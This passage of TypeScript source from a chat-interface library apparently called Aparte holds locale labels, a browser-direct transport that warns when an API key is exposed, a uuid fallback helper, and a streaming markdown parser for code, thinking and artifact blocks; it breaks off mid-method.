// --- Aria labels (bubble / message) ---\n yourMessage: string;\n assistantResponse: string;\n messageActions: string;\n\n // --- Action buttons ---\n edit: string;\n editConfirm: string;\n editCancel: string;\n feedbackPositive: string;\n feedbackNegative: string;\n previousResponse: string;\n nextResponse: string;\n /** Approve button on a tool awaiting human approval (default: \"Approve\") */\n approveTool?: string;\n /** Reject button on a tool awaiting human approval (default: \"Reject\") */\n rejectTool?: string;\n /** Short suffix for tokens-per-second perf chip (default: \"tok/s\") */\n tokensPerSecondLabel?: string;\n /** Aria-label / tooltip for the message info (\"i\") action button (default: \"Details\") */\n messageInfo?: string;\n\n // --- Conversation list ---\n /** Default title for a new conversation (default: \"New Chat\") */\n newChat: string;\n /** Aria-label for the delete conversation button (default: \"Delete conversation\") */\n deleteConversation: string;\n /** Aria-label for the archive conversation button (default: \"Archive conversation\") */\n archiveConversation?: string;\n /** Aria-label for the unarchive conversation button (default: \"Unarchive conversation\") */\n unarchiveConversation?: string;\n\n // --- Elicitation (the panel a tool's question is asked in) ---\n /** The free-text fallback option in a choice (default: \"Other…\") */\n elicitationOther?: string;\n /** Placeholder of the free-text input that option reveals (default: \"Type your answer…\") */\n elicitationOtherPlaceholder?: string;\n /** Accessible name of that input, which has no visible label (default: \"Custom answer\") */\n elicitationOtherLabel?: string;\n /**\n * The send button while a question panel is open, where it submits an ANSWER\n * rather than sending a message (default: \"Submit\").\n *\n * The component has been reading this key since the panel API existed; it was\n * never declared, so `t()` returned \"\" and the hardcoded fallback showed. A key\n * read and never declared is worse than a literal: it looks translated.\n */\n submitButton?: string;\n /**\n * The send button while a form of several questions has more ahead — it advances\n * instead of submitting (default: \"Next\").\n *\n * This key existed briefly for a Next button inside the panel, and went when that\n * button did. It comes back because the MEANING came back, on a different element:\n * the composer's one button, which is where it belonged.\n */\n elicitationNext?: string;\n /**\n * The affordance that declines the request (default: \"Skip\").\n *\n * \"Skip\" reads as \"skip THIS one\" on a form of several questions, while it\n * declines the whole request — including questions already answered. That is MCP's\n * `decline` and the right behaviour. It was briefly renamed to carry the warning;\n * reverted, because the RECEIPT now shows the outcome unambiguously (one declined\n * row, no question attached), so the label no longer has to do that work — and\n * \"Skip\" is the short conventional word for it.\n */\n elicitationSkip?: string;\n /** Affirmative choice of a yes/no question (default: \"Yes\") */\n elicitationYes?: string;\n /** Negative choice of a yes/no question (default: \"No\") */\n elicitationNo?: string;\n /** Last-resort accessible name for a free-text answer (default: \"Your answer\") */\n elicitationAnswerLabel?: string;\n\n // --- Metadata ---\n /** Direction of the text (ltr or rtl) - defaults to ltr */\n direction?: 'ltr' | 'rtl';\n\n /** Allow extensions for plugins */\n [key: string]: string | undefined;\n}\n\n/**\n * Default English Locale (Zero-dependency)\n * Hardcoded to ensure the core works out-of-the-box.\n */\nexport const APARTE_DEFAULT_LOCALE: AparteLocale = {\n inputPlaceholder: \"Type a message...\",\n sendButton: \"Send\",\n copy: \"Copy\",\n copied: \"Copied!\",\n retry: \"Retry\",\n thinking: \"Thinking...\",\n elicitationOther: \"Other…\",\n elicitationOtherPlaceholder: \"Type your answer…\",\n elicitationOtherLabel: \"Custom answer\",\n submitButton: \"Submit\",\n elicitationNext: \"Next\",\n elicitationSkip: \"Skip\",\n elicitationYes: \"Yes\",\n elicitationNo: \"No\",\n elicitationAnswerLabel: \"Your answer\",\n typing: \"Typing...\",\n error: \"Error\",\n running: \"Running...\",\n run: \"Run\",\n file: \"File\",\n modelSelectorPlaceholder: \"Select a model...\",\n roleNameUser: \"You\",\n roleNameAssistant: \"Assistant\",\n yourMessage: \"Your message\",\n assistantResponse: \"Assistant response\",\n messageActions: \"Message actions\",\n edit: \"Edit message\",\n editConfirm: \"Send\",\n editCancel: \"Cancel\",\n feedbackPositive: \"Good response\",\n feedbackNegative: \"Bad response\",\n previousResponse: \"Previous response\",\n nextResponse: \"Next response\",\n approveTool: \"Approve\",\n rejectTool: \"Reject\",\n tokensPerSecondLabel: \"tok/s\",\n messageInfo: \"Details\",\n newChat: \"New Chat\",\n deleteConversation: \"Delete conversation\",\n archiveConversation: \"Archive conversation\",\n unarchiveConversation: \"Unarchive conversation\",\n direction: 'ltr'\n};\n","/**\n * Transport seam — separates the two concerns that providers used to bundle:\n *\n * • **Format adapter** (`AparteFormatAdapter`): the vendor-specific concern —\n * how to shape the HTTP request and how to parse the response stream into\n * unified `AparteStreamEvent`s. No network, no auth, no key.\n * • **Transport** (`AparteTransport`): WHERE the call goes and how auth is\n * handled — straight to the vendor from the browser (`AparteDirectTransport`,\n * BYOK/local) or via your own backend that holds the key\n * (`AparteBackendTransport`, recommended for production).\n *\n * A \"provider\" is migrating from a monolithic `chat()` (fetch + key + parse) to\n * a pure format adapter. During the migration a provider may expose EITHER the\n * adapter surface OR a legacy `chat()`; the transports handle both.\n */\nimport type { AparteChatRequest, AparteChatResponse, AparteStreamEvent } from '../types/chat.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\n\n/** A vendor HTTP request built from an Aparte request — auth is injected separately. */\nexport interface AparteVendorRequest {\n /** Appended to the transport's endpoint, e.g. `/chat/completions`. */\n path: string;\n /** Vendor-shaped JSON body. */\n body: unknown;\n /** Content headers (NOT auth — the transport adds auth). */\n headers?: Record<string, string>;\n}\n\n/** The vendor-format concern, with no transport/auth coupling. */\nexport interface AparteFormatAdapter {\n id: string;\n /** Base URL for browser-direct calls (overridable per request via config). */\n defaultEndpoint: string;\n /** Map an Aparte request to the vendor HTTP request (without auth). */\n buildRequest(request: AparteChatRequest): AparteVendorRequest;\n /** Vendor auth headers for a resolved key (browser-direct only). Most vendors. */\n authHeaders?(key: string): Record<string, string>;\n /** Vendor auth as URL query params for a resolved key (e.g. Gemini `?key=`). */\n authQuery?(key: string): Record<string, string>;\n /** Parse a streaming vendor response body into unified events. */\n parseStream(body: ReadableStream<Uint8Array>): ReadableStream<AparteStreamEvent>;\n /** Extract text from a non-streaming vendor JSON response. */\n parseText?(json: unknown): string;\n}\n\nexport interface AparteTransportContext {\n providerId: string;\n signal?: AbortSignal;\n}\n\n/**\n * Decides where a chat request goes and how auth is handled. Given a provider\n * (adapter or legacy), the request, and the already-resolved auth, it returns\n * unified events (streaming) or a string (non-streaming).\n */\nexport interface AparteTransport {\n chat(\n provider: AparteAIProvider,\n request: AparteChatRequest,\n auth: string | Record<string, string> | undefined,\n ctx: AparteTransportContext,\n ): Promise<AparteChatResponse>;\n}\n\n/** True once a provider has been refactored to the format-adapter surface. */\nexport function isFormatAdapter(\n p: AparteAIProvider,\n): p is AparteAIProvider & Required<Pick<AparteFormatAdapter, 'buildRequest' | 'parseStream' | 'defaultEndpoint'>> {\n return (\n typeof p.buildRequest === 'function' &&\n typeof p.parseStream === 'function' &&\n typeof p.defaultEndpoint === 'string' &&\n (typeof p.authHeaders === 'function' || typeof p.authQuery === 'function')\n );\n}\n\n/** Read an api key / endpoint out of the legacy `string | Record` auth shape. */\nexport function readAuth(auth: string | Record<string, string> | undefined): { key?: string; endpoint?: string } {\n if (typeof auth === 'string') return { key: auth };\n if (auth && typeof auth === 'object') return { key: auth['apiKey'], endpoint: auth['endpoint'] };\n return {};\n}\n\n/** Best-effort human message from a non-ok vendor/backend JSON error response. */\nexport async function vendorErrorMessage(response: Response, label = 'HTTP'): Promise<string> {\n const body = await response.json().catch(() => ({} as Record<string, unknown>));\n const raw = (body as { error?: { message?: string } | string })?.error;\n const msg = typeof raw === 'object' ? raw?.message : raw;\n return typeof msg === 'string' && msg ? msg : `${label} ${response.status}`;\n}\n\n/**\n * Resolve a non-streaming response to text via the adapter's `parseText`.\n * Both transports use this so `stream: false` behaves identically (previously\n * AparteDirectTransport returned '' and AparteBackendTransport returned raw JSON when\n * `parseText` was missing — now both fail loud).\n */\nexport async function parseNonStreamText(\n provider: { parseText?: (json: unknown) => string },\n response: Response,\n providerId: string,\n): Promise<string> {\n const json = await response.json();\n if (typeof provider.parseText !== 'function') {\n throw new Error(`Provider \"${providerId}\" cannot resolve a non-streaming response: parseText is not implemented.`);\n }\n return provider.parseText(json);\n}\n","import type { AparteChatRequest, AparteChatResponse } from '../types/chat.js';\nimport type { AparteAIProvider } from '../types/model-provider.js';\nimport type { AparteTransport, AparteTransportContext } from './types.js';\nimport { isFormatAdapter, readAuth, vendorErrorMessage, parseNonStreamText } from './types.js';\n\n/** Options for {@link AparteDirectTransport}. */\nexport interface DirectTransportOptions {\n /**\n * Set when the key is the end-user's own (BYOK) or the model runs locally —\n * i.e. you *intend* the credential to live in the browser. This silences the\n * one-time insecure-key warning. Leave it unset for keys that must stay\n * server-side, and use `AparteBackendTransport` for those instead.\n */\n byok?: boolean;\n}\n\n/**\n * Browser-direct transport (BYOK / local / prototyping) — the DEFAULT.\n *\n * Calls the vendor endpoint straight from the browser, injecting the resolved\n * key via the adapter's `authHeaders`. This is the pre-refactor behaviour and\n * is only safe when the user brings their own key or the model runs locally.\n * Production apps that must keep a key server-side should use `AparteBackendTransport`.\n *\n * When a real key is sent straight from the browser and the transport was not\n * flagged `{ byok: true }`, a one-time `console.warn` names the exposure — the\n * default should be loud, not silent. Local providers (no key) never warn.\n *\n * Legacy providers (still exposing `chat()` rather than the adapter surface) are\n * delegated to untouched, so the migration can proceed provider-by-provider.\n */\nexport class AparteDirectTransport implements AparteTransport {\n private readonly byok: boolean;\n private warnedBrowserKey = false;\n\n constructor(options: DirectTransportOptions = {}) {\n this.byok = options.byok ?? false;\n }\n\n async chat(\n provider: AparteAIProvider,\n request: AparteChatRequest,\n auth: string | Record<string, string> | undefined,\n ctx: AparteTransportContext,\n ): Promise<AparteChatResponse> {\n // A real credential is about to leave the browser toward the vendor.\n // Warn once unless the caller opted into BYOK/local on purpose. Hoisted\n // above the adapter/legacy split: a legacy `chat()` provider (or an\n // SDK bridge) carrying a key exposes it exactly the same way — the\n // transport just isn't the one attaching it. Keyless locals never warn.\n const { key, endpoint } = readAuth(auth);\n if (!this.byok && key) {\n this.warnBrowserKeyOnce(ctx.providerId);\n }\n\n // Not yet a format adapter → let the provider own its fetch+parse.\n // Forward ctx so the provider can honor the abort signal (a bridge\n // wraps it into its SDK call; TransformersProvider simply ignores it).\n if (!isFormatAdapter(provider)) {\n if (typeof provider.chat !== 'function') {\n throw new Error(`Provider \"${ctx.providerId}\" exposes neither a format-adapter surface nor chat().`);\n }\n return provider.chat(request, auth, ctx);\n }\n\n const base = endpoint || provider.defaultEndpoint;\n const built = provider.buildRequest(request);\n\n let url = `${base}${built.path}`;\n const headers: Record<string, string> = { 'Content-Type': 'application/json', ...built.headers };\n if (key && provider.authHeaders) Object.assign(headers, provider.authHeaders(key));\n if (key && provider.authQuery) {\n const qs = new URLSearchParams(provider.authQuery(key)).toString();\n url += (url.includes('?') ? '&' : '?') + qs;\n }\n\n const response = await fetch(url, {\n method: 'POST',\n headers,\n body: JSON.stringify(built.body),\n signal: ctx.signal,\n });\n\n if (!response.ok) {\n throw new Error(await vendorErrorMessage(response));\n }\n\n if (request.stream === false) {\n return parseNonStreamText(provider, response, ctx.providerId);\n }\n if (!response.body) {\n throw new Error(`Provider \"${ctx.providerId}\" returned no response body for a streaming request.`);\n }\n return provider.parseStream(response.body);\n }\n\n private warnBrowserKeyOnce(providerId: string): void {\n if (this.warnedBrowserKey) return;\n this.warnedBrowserKey = true;\n console.warn(\n `[Aparte] AparteDirectTransport is sending the \"${providerId}\" API key straight from the browser — ` +\n `it is visible to anyone who opens devtools. Fine for BYOK or local models: pass ` +\n `new AparteDirectTransport({ byok: true }) to silence this. For a server-held key, use ` +\n `AparteBackendTransport so the key never reaches the client.`,\n );\n }\n}\n","/**\n * A unique id, in every context the library actually runs in.\n *\n * `crypto.randomUUID` is **secure-context only**. On `http://` — which includes\n * `http://192.168.1.x`, the archetypal deployment for this library's own audience\n * (bring-your-own-key, a local model on the LAN box) — it does not exist, and\n * calling it throws `TypeError: crypto.randomUUID is not a function`.\n *\n * That was not a theoretical edge. A cold audit found 27 call sites across ten\n * files and exactly TWO of them guarded, and the first thing to break was the\n * stream parser: `_generateId()` runs from `_createTextSegment`, so\n * `parser.parse('hello')` threw on the very first token of the very first reply.\n * The two guarded sites — `conversation-controller.ts` and\n * `files-to-attachments.ts` — prove the hazard was known and the sweep was never\n * finished. This is that sweep, in one place.\n *\n * The fallback is NOT cryptographic and does not need to be: these ids address\n * DOM nodes and map keys inside one page. Where a real UUID matters (a persisted\n * conversation id a consumer may treat as stable), `crypto.randomUUID` is still\n * used first, so a secure context gets the strong value.\n *\n * `pnpm check:secure-context` refuses a bare `crypto.randomUUID` anywhere but\n * here, so the sweep cannot come undone one call site at a time.\n */\nexport function uuid(): string {\n if (typeof crypto !== 'undefined' && typeof crypto.randomUUID === 'function') {\n return crypto.randomUUID();\n }\n // Enough entropy to not collide within a page, and cheap.\n return `${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 10)}`;\n}\n","/**\n * AparteStreamParser\n * \n * Real-time markdown stream parser for AI/LLM responses.\n * Detects code blocks, thinking blocks, and other patterns during streaming.\n * \n * Supported patterns:\n * - ```language\\ncode\\n``` → AparteCodeSegment\n * - Plain text → AparteTextSegment\n * - <think>…</think> or <thinking>…</thinking> → AparteThinkingSegment (configurable)\n */\n\nimport type {\n AparteSegment,\n AparteTextSegment,\n AparteCodeSegment,\n AparteThinkingSegment,\n AparteArtifactSegment,\n} from '../types/index.js';\nimport { uuid } from '../utils/uuid.js';\n\n// ─────────────────────────────────────────────────────────────────────────────\n// Types\n// ─────────────────────────────────────────────────────────────────────────────\n\n/** One inline thinking-block delimiter pair (open/close tag). */\nexport interface AparteThinkingDelimiterPair {\n start: string;\n end: string;\n}\n\nexport interface AparteStreamParserOptions {\n /**\n * Inline thinking-block delimiters — for a model that streams its reasoning\n * *inline in the content* (rather than on a separate reasoning channel).\n * Accepts one pair or several; the parser opens a thinking segment at\n * whichever pair appears first. Default recognizes BOTH common conventions:\n * `<think>…</think>` (DeepSeek-R1, QwQ, most local GGUF reasoning models) and\n * `<thinking>…</thinking>` (Claude-style). Pass your own to override.\n */\n thinkingDelimiters?: AparteThinkingDelimiterPair | AparteThinkingDelimiterPair[];\n /** Auto-generate segment IDs (default: true) */\n autoGenerateIds?: boolean;\n /** ID prefix for generated segments */\n idPrefix?: string;\n}\n\n/** Recognized out of the box so local reasoning models \"just work\" (no config). */\nconst DEFAULT_THINKING_DELIMITERS: AparteThinkingDelimiterPair[] = [\n { start: '<think>', end: '</think>' },\n { start: '<thinking>', end: '</thinking>' },\n];\n\nexport interface AparteParserState {\n /** Current parser mode */\n mode: 'text' | 'code' | 'thinking' | 'artifact';\n /** Buffer for incomplete patterns */\n buffer: string;\n /** Current code block language */\n codeLanguage?: string;\n /** Close delimiter of the thinking pair currently open (multi-delimiter support) */\n thinkingEnd?: string;\n /** Accumulated segments */\n segments: AparteSegment[];\n /** Current active segment being built */\n activeSegment: AparteSegment | null;\n /** Counter for generating IDs */\n segmentCounter: number;\n}\n\nexport interface AparteParserResult {\n /** Parsed segments */\n segments: AparteSegment[];\n /** Remaining buffer (incomplete patterns) */\n remaining: string;\n /** Current parser state */\n state: AparteParserState;\n}\n\n// ─────────────────────────────────────────────────────────────────────────────\n// AparteStreamParser Class\n// ─────────────────────────────────────────────────────────────────────────────\n\nexport class AparteStreamParser {\n private _options: Required<Pick<AparteStreamParserOptions, 'autoGenerateIds' | 'idPrefix'>>;\n /** Normalized to an array; the parser matches whichever pair opens first. */\n private _thinkingDelimiters: AparteThinkingDelimiterPair[];\n private _state: AparteParserState;\n\n constructor(options: AparteStreamParserOptions = {}) {\n const delims = options.thinkingDelimiters;\n this._thinkingDelimiters = delims\n ? (Array.isArray(delims) ? delims : [delims])\n : DEFAULT_THINKING_DELIMITERS;\n this._options = {\n autoGenerateIds: options.autoGenerateIds ?? true,\n idPrefix: options.idPrefix ?? 'seg'\n };\n\n this._state = this._createInitialState();\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Public API\n // ─────────────────────────────────────────────────────────────────────────\n\n /**\n * Parse a chunk of streamed content\n * Call this for each chunk received from the LLM\n */\n parse(chunk: string): AparteParserResult {\n this._state.buffer += chunk;\n\n const completedSegments: AparteSegment[] = [];\n\n while (this._state.buffer.length > 0) {\n const parsed = this._parseNext();\n\n if (!parsed) {\n // No complete pattern found, keep buffer for next chunk\n break;\n }\n\n if (parsed.segment) {\n completedSegments.push(parsed.segment);\n }\n\n this._state.buffer = parsed.remaining;\n }\n\n return {\n segments: completedSegments,\n remaining: this._state.buffer,\n state: { ...this._state }\n };\n }\n\n /**\n * Finalize parsing - flush any remaining content as text\n */\n finalize(): AparteSegment[] {\n const finalSegments: AparteSegment[] = [];\n\n // An unwrapped ```markdown block leaves its trailing close fence in the\n // text stream — strip a dangling ``` so it never renders as a stray\n // empty code block at the very end of the reply.\n const stripTrailingFence = (s: string): string => s.replace(/\\n?```[ \\t]*$/, '');\n\n // If we have an active segment, complete it\n if (this._state.activeSegment) {\n if ('content' in this._state.activeSegment) {\n const seg = this._state.activeSegment as { type: string; content: string };\n let content = seg.content + this._state.buffer;\n if (seg.type === 'text') content = stripTrailingFence(content);\n seg.content = content;\n }\n finalSegments.push(this._state.activeSegment);\n this._state.activeSegment = null;\n this._state.buffer = '';\n } else if (this._state.buffer.trim()) {\n // Remaining buffer becomes text segment\n finalSegments.push(this._createTextSegment(stripTrailingFence(this._state.buffer)));\n this._state.buffer = '';\n }\n\n return finalSegments;\n }\n\n /**\n * Reset parser state\n */\n reset(): void {\n this._state = this._createInitialState();\n }\n\n /**\n * Get current parser state (for debugging/inspection)\n */\n getState(): Readonly<AparteParserState> {\n return { ...this._state };\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Private Parsing Logic\n // ─────────────────────────────────────────────────────────────────────────\n\n private _parseNext(): { segment: AparteSegment | null; remaining: string } | null {\n const buffer = this._state.buffer;\n\n switch (this._state.mode) {\n case 'text':\n return this._parseTextMode(buffer);\n case 'code':\n return this._parseCodeMode(buffer);\n case 'thinking':\n return this._parseThinkingMode(buffer);\n case 'artifact':\n return this._parseArtifactMode(buffer);\n default:\n return null;\n }\n }\n\n private _parseTextMode(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n // Check for code block start: ```\n const codeBlockStart = buffer.indexOf('```');\n\n // Check for thinking block start — earliest match across all recognized\n // delimiter pairs (e.g. <think> vs <thinking>).\n let thinkingStart = -1;\n for (const p of this._thinkingDelimiters) {\n const i = buffer.indexOf(p.start);\n if (i !== -1 && (thinkingStart === -1 || i < thinkingStart)) thinkingStart = i;\n }\n\n // Check for artifact block start: <artifact ...>\n const artifactStart = buffer.indexOf('<artifact');\n\n // Determine which pattern comes first\n const patterns: { type: 'code' | 'thinking' | 'artifact'; index: number }[] = [];\n if (codeBlockStart !== -1) patterns.push({ type: 'code', index: codeBlockStart });\n if (thinkingStart !== -1) patterns.push({ type: 'thinking', index: thinkingStart });\n if (artifactStart !== -1) patterns.push({ type: 'artifact', index: artifactStart });\n\n patterns.sort((a, b) => a.index - b.index);\n\n if (patterns.length === 0) {\n // No special patterns found\n // Check if buffer might be start of a pattern (keep it for next chunk)\n if (buffer.endsWith('`') || buffer.endsWith('``') ||\n this._thinkingDelimiters.some(p => this._isPartialMatch(buffer, p.start)) ||\n this._isPartialMatch(buffer, '<artifact')) {\n return null; // Keep buffer, wait for more data\n }\n\n // No pattern starting. Just accumulate text in active segment.\n if (!this._state.activeSegment || this._state.activeSegment.type !== 'text') {\n this._state.activeSegment = this._createTextSegment('');\n }\n\n (this._state.activeSegment as AparteTextSegment).content += buffer;\n return { segment: null, remaining: '' };\n }\n\n const firstPattern = patterns[0]!;\n\n // If pattern is NOT at index 0, accumulate the text before it\n if (firstPattern.index > 0) {\n const textContent = buffer.slice(0, firstPattern.index);\n if (!this._state.activeSegment || this._state.activeSegment.type !== 'text') {\n this._state.activeSegment = this._createTextSegment(textContent);\n } else {\n (this._state.activeSegment as AparteTextSegment).content += textContent;\n }\n // Return nothing yet, let the next loop handle the pattern at index 0\n return { segment: null, remaining: buffer.slice(firstPattern.index) };\n }\n\n // Pattern is at the start index 0. Finish current text segment if any.\n let segmentToEmit: AparteSegment | null = null;\n if (this._state.activeSegment && this._state.activeSegment.type === 'text') {\n segmentToEmit = this._state.activeSegment;\n this._state.activeSegment = null;\n }\n\n // Every branch below can fail to start its block because the opening line\n // is not complete yet (a tokenizer routinely splits ``` from its language\n // tag). When that happens the text segment detached above must go BACK —\n // dropping it loses the prose that preceded the block, and the caller,\n // seeing no segments at all, appends the raw delta to the bubble instead,\n // which is how a literal ```python ends up in the rendered message.\n if (firstPattern.type === 'code') {\n const res = this._startCodeBlock(buffer);\n if (!res) {\n if (segmentToEmit) this._state.activeSegment = segmentToEmit;\n return null;\n }\n return { segment: segmentToEmit, remaining: res.remaining };\n } else if (firstPattern.type === 'thinking') {\n const res = this._startThinkingBlock(buffer);\n if (!res) {\n if (segmentToEmit) this._state.activeSegment = segmentToEmit;\n return null;\n }\n return { segment: segmentToEmit, remaining: res.remaining };\n } else {\n const res = this._startArtifactBlock(buffer);\n if (!res) {\n // Opening tag incomplete — same restore as the two branches above.\n if (segmentToEmit) this._state.activeSegment = segmentToEmit;\n return null;\n }\n return { segment: segmentToEmit, remaining: res.remaining };\n }\n }\n\n private _startCodeBlock(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n // Find the newline after ```language\n const firstNewline = buffer.indexOf('\\n');\n\n if (firstNewline === -1) {\n return null; // Wait for language line to complete\n }\n\n const firstLine = buffer.slice(0, firstNewline);\n // Remove ``` and read the language tag ; a fence with no tag → 'markdown'.\n const language = firstLine.slice(3).trim() || 'markdown';\n\n // ```markdown / ```md (and a bare ``` → markdown) = the model wrapping\n // its whole reply as a \"markdown document\". Do NOT open a code block :\n // (1) it would show raw source instead of a formatted reply ;\n // (2) the inner ```bash / ```json sub-fences make _parseCodeMode close\n // the outer block at the first one — shredding the reply into\n // fragments (one stray code block per nested fence).\n // Instead, drop the fence line and keep parsing in `text` mode : the\n // inner fenced blocks then sit at top level and parse as real code\n // segments, and the whole thing renders as one coherent markdown reply.\n if (language === 'markdown' || language === 'md') {\n return { segment: null, remaining: buffer.slice(firstNewline + 1) };\n }\n\n this._state.mode = 'code';\n this._state.codeLanguage = language;\n this._state.activeSegment = this._createCodeSegment(language, '');\n\n return { segment: null, remaining: buffer.slice(firstNewline + 1) };\n }\n\n private _parseCodeMode(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n // Look for closing ```\n const closeIndex = buffer.indexOf('\\n```');\n\n if (closeIndex === -1) {\n // Check for ``` at end without newline\n if (buffer.endsWith('```')) {\n const codeContent = buffer.slice(0, -3);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += codeContent;\n }\n const segment = this._state.activeSegment;\n this._state.mode = 'text';\n this._state.activeSegment = null;\n return { segment, remaining: '' };\n }\n\n // No closing found, accumulate content (keep last 4 chars as potential pattern)\n if (buffer.length > 4) {\n const safeContent = buffer.slice(0, -4);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += safeContent;\n }\n return { segment: null, remaining: buffer.slice(-4) };\n }\n return null;\n }\n\n // Found closing\n const codeContent = buffer.slice(0, closeIndex);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += codeContent;\n }\n\n const segment = this._state.activeSegment;\n this._state.mode = 'text';\n this._state.activeSegment = null;\n\n // Skip past \\n```\n const afterClose = buffer.slice(closeIndex + 4);\n // Also skip trailing newline if present\n const remaining = afterClose.startsWith('\\n') ? afterClose.slice(1) : afterClose;\n\n return { segment, remaining };\n }\n\n private _startThinkingBlock(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n const pair = this._thinkingDelimiters.find(p => buffer.startsWith(p.start));\n if (!pair) {\n return null;\n }\n\n this._state.mode = 'thinking';\n // Remember which pair opened so the matching close delimiter is used.\n this._state.thinkingEnd = pair.end;\n this._state.activeSegment = this._createThinkingSegment('');\n\n return { segment: null, remaining: buffer.slice(pair.start.length) };\n }\n\n private _parseThinkingMode(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n const endDelim = this._state.thinkingEnd ?? this._thinkingDelimiters[0]!.end;\n const closeIndex = buffer.indexOf(endDelim);\n\n if (closeIndex === -1) {\n // Check for partial match at end\n if (this._isPartialMatch(buffer, endDelim)) {\n // Keep potential match in buffer\n const partialLength = this._getPartialMatchLength(buffer, endDelim);\n const safeContent = buffer.slice(0, buffer.length - partialLength);\n if (safeContent && this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += safeContent;\n }\n // Whole buffer is a partial delimiter (nothing safe to emit yet):\n // return null so parse() keeps the buffer for the next chunk —\n // otherwise remaining === buffer spins parse()'s while-loop forever.\n return safeContent\n ? { segment: null, remaining: buffer.slice(-partialLength) }\n : null;\n }\n\n // No close, accumulate\n if (buffer.length > endDelim.length) {\n const safeContent = buffer.slice(0, -endDelim.length);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += safeContent;\n }\n return { segment: null, remaining: buffer.slice(-endDelim.length) };\n }\n return null;\n }\n\n // Found closing\n const thinkingContent = buffer.slice(0, closeIndex);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += thinkingContent;\n }\n\n const segment = this._state.activeSegment;\n this._state.mode = 'text';\n this._state.activeSegment = null;\n this._state.thinkingEnd = undefined;\n\n return { segment, remaining: buffer.slice(closeIndex + endDelim.length) };\n }\n\n /**\n * Start an artifact block. Buffer must start with `<artifact`.\n * The full opening tag must be present (`>`); otherwise we return null and wait\n * for more chunks.\n *\n * Supported attributes (Anthropic-style, single or double quotes):\n * - type — required (MIME type, verbatim)\n * - title — optional human label\n *\n * Any other attributes are ignored gracefully.\n */\n private _startArtifactBlock(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n if (!buffer.startsWith('<artifact')) return null;\n\n const tagEnd = buffer.indexOf('>');\n if (tagEnd === -1) return null; // wait for more\n\n const tag = buffer.slice(0, tagEnd + 1);\n const inner = tag.slice('<artifact'.length, -1); // attributes string\n\n // BOTH spellings are read. This parser accepted `type=` only, while the XML\n // state machine that handles the very same tag on the artifact-xml path reads\n // `mimeType=` — so one `<artifact mimeType=\"text/html\">` became `text/html`\n // or `text/plain` depending on which path happened to consume it, and a whole\n // artifact silently degraded to plain text. `mimeType` wins when both are\n // present; `type` stays supported so existing prompts keep working.\n const mimeMatch = inner.match(/\\bmimeType\\s*=\\s*(?:\"([^\"]*)\"|'([^']*)')/i);\n const typeMatch = inner.match(/\\btype\\s*=\\s*(?:\"([^\"]*)\"|'([^']*)')/i);\n const titleMatch = inner.match(/\\btitle\\s*=\\s*(?:\"([^\"]*)\"|'([^']*)')/i);\n\n const mimeType = (mimeMatch && (mimeMatch[1] ?? mimeMatch[2]))\n ?? (typeMatch && (typeMatch[1] ?? typeMatch[2]))\n ?? 'text/plain';\n const title = titleMatch ? (titleMatch[1] ?? titleMatch[2]) : undefined;\n\n this._state.mode = 'artifact';\n this._state.activeSegment = this._createArtifactSegment(mimeType, title);\n\n return { segment: null, remaining: buffer.slice(tagEnd + 1) };\n }\n\n /**\n * Stream content into the active artifact segment until `</artifact>` is seen.\n * Mirrors `_parseThinkingMode` so partial matches at chunk boundaries don't\n * split the closing tag across two updates.\n */\n private _parseArtifactMode(buffer: string): { segment: AparteSegment | null; remaining: string } | null {\n const endDelim = '</artifact>';\n const closeIndex = buffer.indexOf(endDelim);\n\n if (closeIndex === -1) {\n if (this._isPartialMatch(buffer, endDelim)) {\n const partialLength = this._getPartialMatchLength(buffer, endDelim);\n const safeContent = buffer.slice(0, buffer.length - partialLength);\n if (safeContent && this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += safeContent;\n }\n // Whole buffer is a partial delimiter (nothing safe to emit yet):\n // return null so parse() keeps the buffer for the next chunk —\n // otherwise remaining === buffer spins parse()'s while-loop forever.\n return safeContent\n ? { segment: null, remaining: buffer.slice(-partialLength) }\n : null;\n }\n\n if (buffer.length > endDelim.length) {\n const safeContent = buffer.slice(0, -endDelim.length);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += safeContent;\n }\n return { segment: null, remaining: buffer.slice(-endDelim.length) };\n }\n return null;\n }\n\n const tail = buffer.slice(0, closeIndex);\n if (this._state.activeSegment && 'content' in this._state.activeSegment) {\n (this._state.activeSegment as { content: string }).content += tail;\n }\n\n const segment = this._state.activeSegment;\n this._state.mode = 'text';\n this._state.activeSegment = null;\n\n return { segment, remaining: buffer.slice(closeIndex + endDelim.length) };\n }\n\n // ─────────────────────────────────────────────────────────────────────────\n // Helpers\n // ─────────────────────────────────────────────────────────────────────────\n\n private _createInitialState(): AparteParserState {\n return {\n mode: 'text',\n buffer: '',\n segments: [],\n activeSegment: null,\n segmentCounter: 0\n };\n }\n\n private _generateId(): string {\n ++this._state.segmentCounter;\n return `${this._options.idPrefix}-${uuid()}`;\n }\n\n private _createTextSegment(content: string): AparteTextSegment {\n return {\n id: this._options.autoGenerateIds ? this._generateId() : '',\n type: 'text',\n content: content\n };\n }\n\n private _createCodeSegment(language: string, content: string): AparteCodeSegment {\n return {\n id: this._options.autoGenerateIds ? this._generateId() : '',\n type: 'code',\n language,\n content\n };\n }\n\n private _createThinkingSegment(content: string): AparteThinkingSegment {\n return {\n id: this._options.autoGenerateIds ? this._generateId() : '',\n type: 'thinking',\n content,\n collapsed: false,\n label: 'Thinking'\n };\n }\n\n private 